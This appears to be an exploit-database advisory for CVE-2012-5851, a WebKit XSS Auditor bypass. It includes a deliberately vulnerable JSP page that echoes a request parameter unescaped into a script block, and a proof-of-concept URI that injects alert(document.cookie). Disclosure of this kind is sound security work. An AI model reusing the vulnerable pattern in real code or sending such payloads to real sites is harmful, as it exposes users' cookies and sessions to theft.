WebKit Cross-Site Scripting Filter - 'Cross-Site ScriptingAuditor.cpp' Security Bypass



EKU-ID: 42447 CVE: CVE-2012-5851;OSVDB-87521 OSVDB-ID:
Author: Tushar Dalvi Published: 2012-07-19 Verified: Verified
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source: https://www.securityfocus.com/bid/56570/info

WebKit is prone to a security-bypass vulnerability.

An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Code in test.jsp:

<title>Test Page</title>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>

Example URI:

http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1